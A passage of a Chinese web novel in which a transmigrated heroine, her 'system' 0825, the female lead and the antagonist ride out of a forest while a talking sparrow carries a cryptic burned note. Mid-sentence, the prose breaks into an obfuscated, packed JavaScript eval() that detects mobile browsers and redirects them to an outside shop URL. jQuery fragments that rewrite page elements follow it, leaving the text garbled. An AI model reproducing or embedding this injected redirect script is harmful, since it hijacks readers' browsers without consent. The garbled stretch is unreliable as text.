“人家不喜欢你弄她,你一直搭着干什么。”周卿玥手背在身后,侧身语气有些挑衅,像是丝毫没有把少年放在眼里。


    “你管我。”


    温慈把怀中的人搂的更紧了些,在白相渡看不见的地方挑了挑眉,看着格外的嚣张。


    气氛瞬间剑拔弩张了起来,0825感觉一股寒意朝它袭了过来,它搓了搓毛茸茸的身体。


    见外面在拌嘴的是女主和反派感叹了道「不愧是剧情的力量,两个人的进展好快哦。」


    「但我怎么感觉他们要打起来了?」


    「打是情,骂是爱。」


    白相渡缩了缩脖子,忽然感到一阵恶寒。


    她瞟了一眼冲她眨巴着眼睛的女主,都有点怀疑自己出现幻觉了。


    “褚钰你不喜欢可以说出来,我给你撑腰。”


    在周卿玥化落以后,她就感觉身旁的人目光落在了她身上。


    见两双眼睛都盯着自己,她眼睛不敢乱看了,垂下了脑袋,恨不得立刻马上消失在这里。


    也许是察觉到自己给怀中人的压力过于的大,温慈睨了一眼,边走边往这边看的少女,随即松开了手。


    白相渡沉默了半天,正准备说话,结果肩上的禁锢一松,她有些疑惑,侧头就见少年已经双手环胸,别过了头。


    向前看去就见女主脸上洋溢着获得胜利的笑容,那模样不知道的还以为她中了什么头等大奖。


    温慈抱臂歪头望着笑的兴奋的少女,眼中的阴鸷一闪而过,他像是只弄丢了食物的狐狸,整个人身上都散发着戾气。


    “好好走你的路,别一直往后看。”


    语气中的不满,虽然不是冲着白相渡的,但她还是敏锐的察觉到氛围有些不对劲。


    也不像是系统说的剧情的力量,她老老实实的跟在了队伍的最后,周卿玥放缓了步子和少年并排走着,两人说了几句话。


    「我就说剧情的力量是强大的吧。」


    但因为是在队伍的最后,白相渡听不清两人说了些什么,她附和着点了点头。


    也许是看出了她的心不在焉,这一路上0825都没在讲话了。


    这一条小路确实近,没走多久几人便踏出了深林,看到白龙马的那一刻,白相渡甚至以为她出现了幻觉。


    三天的路程被缩短到了半日都不到,说出来还是有些夸张的。


    白龙马被栓在那儿,它低头吃着草,在察觉到目光以后,在马夫惊讶的目光下挣脱了绳索,朝着几人的方向奔了过去。


    “别舔,别舔,别舔。”白相渡伸手挡住了白龙马,提前预判了它的动作。


    她拽了拽马绳,随后在周卿玥的目光下翻身上了马。


    “自己上的来吗?”白相渡扯了扯白龙马,目光又转向了在人堆里的周卿玥。


    周卿玥原本丧着的脸突然就扬起了笑,变脸比翻书还快,看得白相渡一愣。


    “男女授受不亲,我的马可以给她骑。”温慈朝着几匹马的方向招了招手,那只浑身赤红的马便从马夫的手中挣脱,踏着步朝着少年的方向走来。


    周卿玥咬着有些粉嫩的唇,看着逐渐向着自己逼近的马,楚楚可怜的摇了摇头:“这马看着性子有些烈,我不敢。”


    话落的瞬间,少年的马脑袋便朝着她这边凑了过来。


    少女背着她的小包袱,朝着白马的身后躲了躲,像是受到了极大的惊吓,手也不自觉的抓紧了白马极短的毛发。


    白相渡察觉到身下的马原地踏起了步子,她叹了口气,微微侧身朝着少女伸出了手。


    白龙马转身凑到了有些紧张的少女身边,喘着粗气嗅了嗅,就别过了脑袋。


    “上来吧。”


    少年的声音如清泉涓涓格外的有辨识度。


    周卿玥搭着少年的手,就在温慈眼皮子底下翻上了马背。


    温慈一直笑着的脸上多出了一道裂痕,他扯着的嘴角不断的下压,到最后眼中的怒意怎么都掩饰不住了,他才扯着假笑翻上了赤马的背。


    乌肆坐在马上,扯着缰绳,指了指自己前面的人。语气戏谑道:“谁坐不都一样吗,干嘛臭着一张脸,你说是吧小钰。”


    白相渡听到男人的话,下意识的抬头,朝着温慈的方向看去,却也没看出什么不对劲来。


    “嗯,都可以。”


    她扯着手中的缰绳,有些纠结。


    自己明明给女主留了位置,但周卿玥偏偏坐到了后面,手还放在了她的腰上面。


    “怎么了吗?”


    温慈驾着马到了她的身旁,语气关切的问道,眼神也不断的在她身上扫视着。


    白相渡伸手把在她腰上乱戳的手往上挪了挪,却瞧见林子里飞出了一只小小的雀儿。


    小麻雀羽翼丰满,嘴上还叼着一个不知道是什么的东西。


    那只雀儿出现的瞬间就吸引了少年的视线,也可以说是吸引了在场所有人的目光。


    它煽动着翅膀,却没有要着落的意思,它睁着豆大的眼睛左右观察着,像是在找什么人。


    白相渡把目光投向了离她有些远的两人,却见乌肆已经抬起了手心,像是随时恭候雀儿的到来。


    男人的手没抬多久,就见他又放了下去。


    “啾啾。”


    一声清脆的麻雀叫声响了起来,打破了平静。


    白相渡顺着声音看去,就见小麻雀已经停在了少年的肩上,歪着脑袋看着她。


    一人一鸟盯着看了半晌,小麻雀双翅一震就飞到了她的身旁,落在了她的肩上。


    “钰。”


    “什么?”白相渡盯着肩上的鸟,又瞥了一眼身后的少女,以为自己听错了。


    “阿钰。”


    这一声更加的清晰,连坐在她身后的少女也往她这边凑了凑。


    白相渡伸手去接,小麻雀顺势就跳了上去,它歪着脑袋又张了张口,却没有再吐出一个字来。


    她左右观察了小麻雀好一会,也没找到它是只鹦鹉的证据。


    小麻雀左右跳了两下,像是忽然听到了什么指令,下一刻便展翅飞走了。


    白相渡轻轻咬了一口舌尖,疼痛顺着舌尖蔓延,她眼神清澈,突然就觉得世界变得魔幻了起来。


    「统,这个世界上有没有神仙啊。」


    0825刷着剧,随口回答道。


    「应该不会有吧,除非世


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128620|195353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    界融合了。」


    白相渡嘴唇哆嗦着,她的视线一直落在朝着树林飞去的小麻雀身上。


    那小麻雀就在她的眼皮子底下,消失了。


    「世界融合了会怎么样?」


    「那说不准,融合了以后,上界也插手不了下界的事,顶多弄个小分身下来遛遛,不被天道发现就好了。」


    也许是那一幕太过于震惊,白相渡沉默了半天也没有回答0825,她不敢把眼下的场景告诉这个已经沉迷于网络世界的统子。


    就害怕它一下子昏厥过去。


    马蹄声在耳旁响起,白相渡朝着已经如箭离弦的黑马望去,她舔了舔唇,拉动了缰绳。


    那一幕太过于震撼,白相渡扯动着嘴唇,消化了许久,怎么也没法说服自己那是幻觉。


    ……


    回程的一路上,她也看到过好几次那只鸟,白相渡想要避开那鸟,却偏偏每次都凑到她的身旁和她说话。


    反反复复也就那两个字没有更多的了,以至于她想和这只小麻雀交流也没办法得到别的有用的消息。


    奔波了这么久,终于也是再次有房间住了,白相渡趴在窗台上看着在她面前阿钰,阿钰叫着的小麻雀。


    她伸手逗弄了几下。


    “你怎么又来了呢,是给他们送信吗?”


    小麻雀点了点头,左右摇晃着脑袋,像是想要夸奖。


    它歪了歪脑袋发现面前的人没有说话,它跳了几下,朝窗外飞了出去。


    “诶,小麻雀。”白相渡也不知道今天这小麻雀怎么了,站了一会就要走了。


    她刚想喊出声却察觉有东西监视着她。


    白相渡压下了声音,小声的唤了几句,见麻雀没有回来,就趴在窗台上朝外望去。


    现在还是白天客栈外人来人往,楼下还有几个小贩支着摊子摆在客栈门口。


    在可见的范围内看了一圈,也没有看到什么可疑的人,一声狗吠从楼下传了过来,向下望去,就见那只通体漆黑的狗摇着尾巴正盯着她。


    也许是错觉吧?白相渡盯着那只狗看了一会,便收回了视线。


    过了好一会,白相渡正打算关上窗户,小麻雀又扑腾着飞了过来。


    因为它翅膀上的那一抹红色,白相渡一眼就认出了它。


    她停下了动作朝着小麻雀定睛一看,才发现它的嘴里衔着东西。


    小麻雀骄傲的挺起了胸膛,它把已经被烧掉了一截的纸条丢在了窗上,眼睛一眨不眨的就盯着白相渡。


    “真棒。”


    白相渡拿起了纸条,轻轻摩挲着,上面的纹路,过了一会,字迹才显现了出来。


    写下这个字的人像是用尽了浑身的力道,所以说上面只简略的写了一个字崩。


    可下笔下的极重,连白相渡也从这个字里看出了一些门道来。


    “这是他们给温慈的信吗?”


    白相渡把目光投向了站在窗台的小麻雀,就见小麻雀肯定的点了点头,她才又把手中的信搓成了团递给了它。


    雀儿叼着纸团展翅,迅速的朝着远处飞去,等目送着它离开以后,白相渡才低头呢喃了句:“完了,剧情乱套了。”